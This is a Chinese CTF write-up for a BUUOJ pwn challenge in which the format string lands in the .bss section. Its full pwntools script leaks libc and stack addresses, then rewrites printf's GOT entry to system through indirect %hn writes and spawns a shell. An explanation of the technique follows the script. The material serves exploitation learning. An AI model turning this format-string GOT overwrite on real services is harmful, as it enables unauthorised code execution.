与以往不同,输入的格式化字符串被输入在".bss"段中,也无法直接任意内存写。
这里 格式化字符串在bss段上的情况:间接修改printf.got表为system,,,
ebp对应的地址映射比较关键
至于题目程序分析就不具体分析了,看其余师傅的即可。
这里还不错,程序本身无限循环,让printf格式化漏洞利用比较方便。
我们考虑利用修改printf的got表为system,输入参数,得到shell。
WP:
from pwn import*
p=remote('node4.buuoj.cn',27208)
#context.log_level='debug'
elf=ELF('./log')
libc=ELF('./32libc-2.27.so')
def fmtsend(addr,plase):
p.recvuntil('Try again!\n')
payload='%'+str(addr)+'c'+'%'+str(plase)+'$hn'
p.sendline(payload)
p.sendlineafter('name:','aaa')
payload1='%15$p'
p.sendlineafter('password:',payload1)
p.recvuntil('This is the wrong password: ')
libc_start_main = int(p.recvuntil('\n')[:-1],16)-241
libc_base =libc_start_main-libc.symbols['__libc_start_main']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
payload2='%6$p'
p.sendlineafter('Try again!\n',payload2)
p.recvuntil('This is the wrong password: ')
target=int(p.recvuntil('\n')[:-1],16)
top_stack_now=target-0x28
stack_addr=top_stack_now+0x2c
stack_addr2=top_stack_now+0x24
bian1=stack_addr&0xffff
bian2=elf.got['printf']&0xffff
bian3=stack_addr2&0xffff
system_low=system &0xffff
system_hign=(system>>16)&0xffff
fmtsend(bian1,6)
fmtsend(bian2,10)
fmtsend(bian1-8,6)
fmtsend(bian2+2,10)
payload0='%'+str(system_low)+'c'+'%'+str(11)+'$hn'+'%'+str(system_hign-system_low)+'c'+'%'+str(9)+'$hn'
p.recvuntil('Try again!\n')
p.sendline(payload0)
#p.sendline(';/bin/sh\x00')
p.sendline(';sh')
p.interactive()
根据以上WP盘点下收获:
- 首先是格式化字符串漏洞的泄露问题:
可以在printf函数调用处下断点,进而查看stack,看看里边有什么内容,本题发现有“__libc_start_main”这个东西而且后面直接给了距离“__libc_start_main”的偏移量,那么泄露出来就很好计算libc基地址,进而求system与binsh。 - 另外本题与之前的“格式化字符串”在栈中的题目不同,被输入到了bss段上,但是我们还是得修改printf的got为system的,那么如何做到?
我们来回忆一下:
最初格式化字符串被送到栈上的时候:栈上某个栈的地址存的就是elf.got[“printf”] (而且一般是“0x8048,,,,”)多少的。进而利用%n修改。
那么如果我们将栈上类似存的数据(0x8048,,,,)的改成printf.got不就一样了吗,,,,,,
稍稍解释一下WP:
结合这张图
fmtsend(bian1,6)
fmtsend(bian2,10)
这是在间接修改栈上d06c处的0x8048689为printf.got的值(0x848,,,,)
因为修改函数“ fmtsend”是2个字节2个字节修改的,所以为了提高修稿成功性,将总共4个字节的真正printf函数地址全部修改位system地址
fmtsend(bian1-8,6)
fmtsend(bian2+2,10)
这个间接修改d064处的0x804b080位printf.got值的(print.got+2)对应的效果就是修改了printf.got表高2字节。